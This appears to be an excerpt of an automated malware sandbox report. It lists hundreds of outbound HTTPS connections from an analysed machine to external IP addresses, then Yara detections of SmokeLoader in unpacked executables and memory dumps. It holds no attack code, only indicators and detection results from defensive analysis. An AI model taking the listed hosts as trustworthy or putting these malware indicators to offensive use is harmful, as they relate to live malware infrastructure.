Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:56902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:56979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:56967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:56859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:56818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:57161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:57163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:57361 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.98.154.146:443 -> 192.168.2.4:57279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:57474 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:57504 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:57687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:57900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:58106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:58260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:58317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.19.254.237:443 -> 192.168.2.4:57733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:58261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:58387 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:58372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:58381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:58356 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:58452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:58384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:58462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:58386 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:58413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.15.206:443 -> 192.168.2.4:58591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:58353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:58823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:58858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:58782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:59061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:59165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:59160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:59273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:59370 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:59410 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.98.155.23:443 -> 192.168.2.4:59326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:59468 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:59465 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:52247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:59656 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:59678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:59625 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:59718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:59677 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:59669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:59579 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:59620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:59803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:59859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:60268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:60297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:60495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:60494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:60493 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:60256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:60821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:60905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:60843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:60682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:60834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:60835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:60839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:60959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:61359 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:61241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:61416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:61432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:61423 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.173.180.22:443 -> 192.168.2.4:60954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:61478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:61462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:61350 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:61626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:61559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:61556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:61592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:61563 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:61560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.19.254.237:443 -> 192.168.2.4:61501 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:61679 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:61772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:61762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:61819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:61866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:62022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:62026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:62027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:62074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:62086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:62084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:62147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:62119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:62235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:62229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:62425 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:62324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:62234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:62426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:62238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:62116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:62718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:62862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:62857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:63052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:63010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:63070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:63015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:63165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:63071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:63118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:63192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:63080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:63127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:63199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:63234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:63018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:63318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:63288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:63322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:63197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:63011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:63494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:63480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:63478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:63447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:63458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:63532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:63650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:63657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:63790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:63789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:63649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:63712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.98.155.23:443 -> 192.168.2.4:63678 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:63998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:64012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:64017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:64044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:64077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:64076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:64043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.98.154.146:443 -> 192.168.2.4:64007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:64273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:64223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:64212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:64331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:64804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:64825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:64757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:64792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:64801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:64833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:64929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:64824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:65047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:64886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:65094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:65141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:65045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:65071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:65095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:65059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:65103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:65524 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:65142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.15.206:443 -> 192.168.2.4:65042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:65495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:65140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:65090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:65067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:65053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:65526 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:49222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:49244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:65106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.19.254.237:443 -> 192.168.2.4:65072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:49348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:65049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:49314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:49525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:49539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:49374 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.98.155.23:443 -> 192.168.2.4:65139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:49613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:49540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:49339 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:50280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:50429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:50349 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:50580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.173.180.22:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:50428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:50861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:51141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:51249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:51244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:51275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:51276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:51245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:51400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:51329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:51584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:51662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:51596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:51600 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:51846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:51778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:51841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:52012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:52229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:51982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:52324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:52366 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:52367 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:52048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:52448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:52575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:52576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:52644 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:52639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:52522 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:53006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:53197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:53482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:53097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:52888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:53492 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.173.180.22:443 -> 192.168.2.4:53460 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:53755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:53757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:53780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.98.154.146:443 -> 192.168.2.4:53707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:53889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:53802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.19.254.237:443 -> 192.168.2.4:53756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:53900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:53805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:54022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:54360 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:54101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:54610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:54592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:54590 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.15.206:443 -> 192.168.2.4:54686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:54612 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.133.154.140:443 -> 192.168.2.4:55035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:56108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:56131 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 16.3.8900.exe.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.2520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.uiedafw.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.3yPvcmrbqS.exe.2530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.2153285956.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1898272817.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
